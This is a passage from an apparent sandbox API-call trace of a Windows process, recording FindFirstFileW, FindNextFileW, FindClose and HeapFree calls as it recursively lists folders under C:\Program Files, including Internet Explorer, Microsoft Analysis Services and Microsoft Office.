ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0274.318] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0274.318] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.318] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0274.320] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0274.320] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0274.320] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0274.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0274.361] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.364] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0274.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0274.380] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.380] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0274.383] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0274.383] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0274.384] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0274.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0274.384] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.384] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0274.384] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0274.384] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0274.384] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0274.384] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0274.385] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0274.386] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0274.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0274.386] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.386] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0274.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0274.387] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.387] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0274.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0274.387] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.387] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0274.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0274.389] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.389] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0274.389] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0274.390] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0274.390] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0274.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0274.390] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.390] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0274.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0274.390] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.390] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0274.391] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0274.391] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0274.391] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0274.391] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0274.391] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0274.391] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0274.391] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0274.391] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0274.393] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0274.393] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0274.393] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0274.393] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0274.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0274.394] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0274.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0274.394] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, 